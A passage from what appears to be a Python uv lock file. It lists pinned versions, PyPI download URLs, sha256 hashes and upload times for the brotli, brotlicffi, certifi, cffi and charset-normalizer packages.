{ url = "https://files.pythonhosted.org/packages/ec/f1/0ca1f3f99ae300372635ab3fe2f7a79fa335fee3d874fa7f9e68575e0e62/brotli-1.2.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:963a08f3bebd8b75ac57661045402da15991468a621f014be54e50f53a58d19e", size = 1528168, upload-time = "2025-11-05T18:38:47.371Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d6/a6/2ebfc8f766d46df8d3e65b880a2e220732395e6d7dc312c1e1244b0f074a/brotli-1.2.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9322b9f8656782414b37e6af884146869d46ab85158201d82bab9abbcb971dc7", size = 1627098, upload-time = "2025-11-05T18:38:48.385Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f3/2f/0976d5b097ff8a22163b10617f76b2557f15f0f39d6a0fe1f02b1a53e92b/brotli-1.2.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cf9cba6f5b78a2071ec6fb1e7bd39acf35071d90a81231d67e92d637776a6a63", size = 1419861, upload-time = "2025-11-05T18:38:49.372Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9c/97/d76df7176a2ce7616ff94c1fb72d307c9a30d2189fe877f3dd99af00ea5a/brotli-1.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7547369c4392b47d30a3467fe8c3330b4f2e0f7730e45e3103d7d636678a808b", size = 1484594, upload-time = "2025-11-05T18:38:50.655Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d3/93/14cf0b1216f43df5609f5b272050b0abd219e0b54ea80b47cef9867b45e7/brotli-1.2.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:fc1530af5c3c275b8524f2e24841cbe2599d74462455e9bae5109e9ff42e9361", size = 1593455, upload-time = "2025-11-05T18:38:51.624Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b3/73/3183c9e41ca755713bdf2cc1d0810df742c09484e2e1ddd693bee53877c1/brotli-1.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d2d085ded05278d1c7f65560aae97b3160aeb2ea2c0b3e26204856beccb60888", size = 1488164, upload-time = "2025-11-05T18:38:53.079Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/64/6a/0c78d8f3a582859236482fd9fa86a65a60328a00983006bcf6d83b7b2253/brotli-1.2.0-cp314-cp314-win32.whl", hash = "sha256:832c115a020e463c2f67664560449a7bea26b0c1fdd690352addad6d0a08714d", size = 339280, upload-time = "2025-11-05T18:38:54.02Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f5/10/56978295c14794b2c12007b07f3e41ba26acda9257457d7085b0bb3bb90c/brotli-1.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:e7c0af964e0b4e3412a0ebf341ea26ec767fa0b4cf81abb5e897c9338b5ad6a3", size = 375639, upload-time = "2025-11-05T18:38:55.67Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "brotlicffi"
|
||||||
|
version = "1.2.0.2"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "cffi" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/71/97/7845739a36828ffe751a1c6b240692f552fd7ecf65026c51326c0a4aa369/brotlicffi-1.2.0.2.tar.gz", hash = "sha256:5e0fbd13644cf1f6015e75fa5e0ad8fdce1048d9c9ff90b0ce826174b249ee35", size = 478755, upload-time = "2026-08-21T17:29:18.415Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/77/a2/edda4f3fc7143434402eacad1e91433fe68ae648c22738eeddb6138638ba/brotlicffi-1.2.0.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ad05ca993234cf947f0ad71b1c8bc0af3d74e0410b1e2c32bb99de0cef6a994b", size = 438789, upload-time = "2026-08-21T17:28:55.708Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0d/9c/506dc8edabb3cf9339c89f1ecc80a218aa166bb83b9f2e9cc1da67314072/brotlicffi-1.2.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0636cb5a85f31c36e08953d09a226cb788be900b976f81302895e3cf35d5e707", size = 1541246, upload-time = "2026-08-21T17:28:57.669Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9f/d6/74cee9f9fbea8c42030a81056c64e092030a95bd2756ea83da1d1e8f5f29/brotlicffi-1.2.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:97bae40d45ebc2a6ac7b1c9b30825496a257192194b672ef5869e2df93467f69", size = 1542129, upload-time = "2026-08-21T17:28:59.502Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/24/cc/c32630b042ec2a13e8342e6ecb6b9d3531b1be4647b733d6fd365976041c/brotlicffi-1.2.0.2-cp314-cp314t-win32.whl", hash = "sha256:8f3f9bd61293dc48359763e693951393f39656086315067cf97e23e23e8911ab", size = 346840, upload-time = "2026-08-21T17:29:01.085Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ee/0b/83cac3075721fe4c253ea1cc5310cb687c2f7d987e0fd60eb3ed769c24c0/brotlicffi-1.2.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:908add8a9c0eea00f5de799dc6de9f6d205d9ee11afabc7c03d6812c481200e2", size = 386079, upload-time = "2026-08-21T17:29:02.667Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2e/71/c27f24b8334f65f2492601c7764338f156cb904d2ffe0061e6004a76d9cc/brotlicffi-1.2.0.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:d5a8ffa154f16660ab818d78045b55fa6f9970f1ca4c38998766e99c672071cb", size = 438885, upload-time = "2026-08-21T17:29:04.113Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ef/22/d8fd1a4d09b7ab563b89380395e09151d2ef1344be31594df6a6987d4028/brotlicffi-1.2.0.2-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ec6b1af7b7a8ce788354f2c603651ada0fba166ec31ab879e2eec462a3e6dbf4", size = 1534365, upload-time = "2026-08-21T17:29:05.878Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/06/78/076419ed6c2c6aa3eaac6fd6b076502b4be89d50625fcdc513cd4aeca718/brotlicffi-1.2.0.2-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:22916101de0e7ff535f2edf54b52a85591853b8ae9a98737643defdd3c063a3a", size = 1536851, upload-time = "2026-08-21T17:29:07.599Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/35/dd/31ae9945cbd605339fb51c9a609f7dbb182cd361adeabc1d470142357206/brotlicffi-1.2.0.2-cp39-abi3-win32.whl", hash = "sha256:df1d34c4ad9adbf7f63a6b42f7d0e4dfd259c88141b85145b57abecc1abc3b24", size = 342379, upload-time = "2026-08-21T17:29:09.05Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/95/ae/afd54e744df93b51cc29f6a19beccf9998b25743d7177697390de10479d1/brotlicffi-1.2.0.2-cp39-abi3-win_amd64.whl", hash = "sha256:489ca4da3ee65926d72bf01584b61088a9da6bdd1bb01b2040901e1beaffa8f0", size = 379761, upload-time = "2026-08-21T17:29:10.687Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "certifi"
|
||||||
|
version = "2026.7.22"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55", size = 138112, upload-time = "2026-07-22T03:35:12.644Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", size = 136983, upload-time = "2026-07-22T03:35:11.276Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cffi"
|
||||||
|
version = "2.1.1"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "pycparser", marker = "implementation_name != 'PyPy'" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d3/7b/d6bbf82b8b96e7391438898c42f5bd96dd02030fd5b64937d248220003e2/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c", size = 194064, upload-time = "2026-08-03T21:20:17.148Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/94/e6/bcc91b283be94735e268487a054004f0aa19947b6348fa367db53230abc8/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb", size = 196720, upload-time = "2026-08-03T21:20:18.268Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d9/99/c4b0c17cacdc9c3b8f280026286a9826d6a208c0f047591a3c3ce99b91fd/cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54", size = 184964, upload-time = "2026-08-03T21:20:19.708Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b3/a9/9db617d05d7367c1ad0ab00b3aa6e6f9281edd689b4ee9ea0e5a84e89c97/cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72", size = 184962, upload-time = "2026-08-03T21:20:20.833Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/67/b8/b42132ca113dc567d37684437b46ca1dafc885902b02a110a02d5b511857/cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1", size = 222328, upload-time = "2026-08-03T21:20:22.118Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/80/10/c5c0cbf0a657aecf59ef511409734230bf556f05a0d6c9eed7aa5c0a0166/cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062", size = 209985, upload-time = "2026-08-03T21:20:23.401Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d5/6c/bfa0b87b03b9238148beca990292843c9396ba069b54496596594173de7b/cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03", size = 208530, upload-time = "2026-08-03T21:20:24.628Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e9/02/4e7d553a7ac4b4238b38b3c1b80d486e9d4436f8d2acbf87a0997fe3f402/cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96", size = 221525, upload-time = "2026-08-03T21:20:25.758Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/82/1d/a4aaf9babd75acb4d5f223bff71533bee748dd770a382619a798960ee9ba/cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527", size = 225053, upload-time = "2026-08-03T21:20:26.985Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/81/10/5dc0e7bdd18e22107054288283380fc97a06ae3f1656a106908d666a3c88/cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13", size = 223213, upload-time = "2026-08-03T21:20:28.277Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0b/e9/d0061c364cde06ee43168a0d076ac1da512cbc380d44767b844ba34fe2b6/cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c", size = 177682, upload-time = "2026-08-03T21:20:44.288Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a7/06/1c3e01e3ba14c39f6d10bfbac52753b7e22259e38088e5cfe1d704918690/cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48", size = 187949, upload-time = "2026-08-03T21:20:45.623Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/87/5b/da4e39efe18eeb89cf580ea9cfc66b6a7c3eadb808fc0cc1d3a295cb5a5d/cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836", size = 182947, upload-time = "2026-08-03T21:20:46.955Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/23/59/40338bf421c5accea1d45158170c87006ef1cd371b05c077e76476949728/cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3", size = 188504, upload-time = "2026-08-03T21:20:29.495Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7d/47/5ecf1023850036e674c77ec4de86182d309ae344e39e7cba984b7df5d647/cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2", size = 188259, upload-time = "2026-08-03T21:20:31.291Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2a/9c/92934c3bea9f785b23eba304538c0b4d37a2a96d2431eb3a1bc87a11aa19/cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94", size = 223864, upload-time = "2026-08-03T21:20:32.571Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4d/45/ba4c93527bc38616a8bd36488acb69a2212d60486794f0c1f318949bbb76/cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc", size = 211538, upload-time = "2026-08-03T21:20:33.808Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/80/e9/b6ef565e452acb932fb0cb5443f44a78efbd1233e566f02b5a83855e9115/cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29", size = 210688, upload-time = "2026-08-03T21:20:34.974Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9a/95/eff5f0cee78d2eabc7eebffec40d3fc1876b5f3c95582e018bb4b99601f2/cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676", size = 223803, upload-time = "2026-08-03T21:20:36.564Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fa/01/579d39fb8bef00a335a23d83757b44feb24cd6345a2c451b64cb67b9c362/cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e", size = 226763, upload-time = "2026-08-03T21:20:37.816Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8d/b0/0b44f47c60b01b57b6e2bbd92343f13a85a1d93bc46ccf6e47e244acd99c/cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f", size = 225688, upload-time = "2026-08-03T21:20:38.959Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/eb/d2/3b7176cb570a1d3e27faf67b72f591af508036e0d8b2be2ef9af9e8c84bb/cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4", size = 182868, upload-time = "2026-08-03T21:20:40.388Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/56/78/31f00c1bcd97c9bbf55f1bfdf5bc809a5de8887473e90bb9960dca825e80/cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e", size = 194104, upload-time = "2026-08-03T21:20:41.725Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7b/1b/58496f2ed0a35de575250c02a43ab3cc2c04d494a88fed31c1cabc0fd176/cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5", size = 186402, upload-time = "2026-08-03T21:20:43.042Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c1/8f/9ebe220eab48a093d1a5a5e339ab0dc7316eef3bb04d63c42f0251b61f50/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d", size = 194043, upload-time = "2026-08-03T21:20:48.179Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ff/69/844bad3ece306c4782c2ecb93597035b6690d48704b803914c199da1e8b3/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b", size = 196737, upload-time = "2026-08-03T21:20:49.457Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/1b/8a/af668013284634733f02d683458a0728739c7d6ddb5e14cb0c20832266fe/cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4", size = 184933, upload-time = "2026-08-03T21:20:50.639Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0c/75/2f5207ff6d1a613133b23a5203cc0c2a628313b5eb3974d7956ae3c57950/cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8", size = 185002, upload-time = "2026-08-03T21:20:52.173Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e2/31/9e1313b0a6e30e91b3b3d3fff51ae99c857c07738e3afcce1f7334e1b7ab/cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6", size = 222271, upload-time = "2026-08-03T21:20:53.462Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/50/e3/f6234a833e6e08c7007003074723c406559eecf9b48dfc97471e5a8eb7a0/cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80", size = 209919, upload-time = "2026-08-03T21:20:54.783Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0d/fc/5f74e293fced6edb51af3a46c4ccf6c23c9943774ecb375ddbd522c76add/cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779", size = 208529, upload-time = "2026-08-03T21:20:56.066Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/44/16/29e6d01b388bef055ecd6ca8244b3f4d336bd09e92d5d892187b9601084e/cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399", size = 221630, upload-time = "2026-08-03T21:20:57.336Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a4/18/fa7f1f6857d5eb88a4ca99ffcbfb7c387a287ccc154c64a73e86314745d7/cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688", size = 225134, upload-time = "2026-08-03T21:20:58.675Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e0/9f/e8e3dfa04a1b4c241f8c91faacad872b4d4efd051d49764ad4e2fd4b9fea/cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7", size = 223197, upload-time = "2026-08-03T21:20:59.968Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f8/7e/8debeb04f1ab9fe2a6963964cd6f1aaf7192627b83926586a6a4e089c9fa/cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac", size = 177683, upload-time = "2026-08-03T21:21:14.901Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e0/31/5158704cc474ab65c1647932e88be78dc0873f47130e253be38bcaf13d01/cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960", size = 187897, upload-time = "2026-08-03T21:21:16.108Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/cc/4b/b3a2da8570c704ffc0f9762cdc3ec0f02c8573798e0b5cf7f11c82bbb70f/cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1", size = 182935, upload-time = "2026-08-03T21:21:17.271Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d0/ef/5443574510a1207e6f6bc38ba6e1f1de36cb48fef07b2728bb896a21f430/cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc", size = 188464, upload-time = "2026-08-03T21:21:01.163Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7e/ae/a56fa8c4686ad50e148fcbc8d3ae0d03915ff5c30d795058988c24118cef/cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab", size = 188262, upload-time = "2026-08-03T21:21:02.382Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/53/b2/6187f46f2912276a3ae284076109cc5c8680482f11f766ccf26db4a86427/cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e", size = 223779, upload-time = "2026-08-03T21:21:03.553Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8a/f6/c3ad28bd19f77047a03084424fbd4cbe997303267c14423737324be0385d/cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358", size = 211520, upload-time = "2026-08-03T21:21:04.863Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a0/cd/ccac9013a5bd9fd764de118674ab9c805b5ca10c19270d90ee273f8b2240/cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231", size = 210673, upload-time = "2026-08-03T21:21:06.223Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/52/86/2976131c639aead931c5bee5aba67e4b09fbeb8018b6f282f70803f923a7/cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6", size = 223835, upload-time = "2026-08-03T21:21:07.539Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ac/0c/33a7aeab2f9c76918c52e084beb39c570db3588133412929e8ec06fab90b/cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94", size = 226705, upload-time = "2026-08-03T21:21:08.774Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e3/26/2cde30fdde421130bfc18f70395731a6e6b2053c6a1978a5258ff04e72fa/cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5", size = 225539, upload-time = "2026-08-03T21:21:09.911Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6d/cd/a361394c94b2129d604bb846f624a8e88255a3ee33129c434a00d715e64f/cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66", size = 182707, upload-time = "2026-08-03T21:21:11.226Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9b/b5/ba2b299993c26577d529b6ae29841f9e15b9fcf004d65f423f4fcf94ade9/cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3", size = 193772, upload-time = "2026-08-03T21:21:12.39Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/aa/29/35e016098c814cd93de9cd320c66b5bfba14dc6ecedd3cb518fa7c408c69/cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692", size = 186360, upload-time = "2026-08-03T21:21:13.636Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "charset-normalizer"
|
||||||
|
version = "3.5.2"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/33/1c/f41d4e74c28ab327ff3acd36053f7ea506c55872d7a90b0fa71aa3ab0c89/charset_normalizer-3.5.2.tar.gz", hash = "sha256:39de2a259fc954455c57274dc94c79d5842774e1247a016aff30bc0efed0f4ef", size = 172659, upload-time = "2026-09-30T04:39:23.398Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/58/ca/7aa91362a2f77ac8e9e28a9b902a74f7d0e11a851ef0d27a74308da8cd90/charset_normalizer-3.5.2-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:1afb975bd5d68d5ce9f6b6d44fdf2f7e34b895a35e95708a7a91b20a3b51d187", size = 226010, upload-time = "2026-09-30T04:36:27.669Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a8/cf/ac8878d0322cf88a1aad4c7b147db32ca0bd806eb0060957b2e31486dbe6/charset_normalizer-3.5.2-cp314-cp314-android_24_x86_64.whl", hash = "sha256:bbbfc8e28816f19d7c0f1816664980c0a9875d01b27cdf8eedddb639d9e108ad", size = 239266, upload-time = "2026-09-30T04:36:29.434Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c9/6d/9a08d7e0b29b7208e2c6c01dc56c8e0520e7c7beadbbfb024b58fd69c8a5/charset_normalizer-3.5.2-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7967d08cf06dee78443b874f98c98036f624f3a4e73e11f9f64f5be4d25393cf", size = 206783, upload-time = "2026-09-30T04:36:30.872Z" },
|
||||||
|
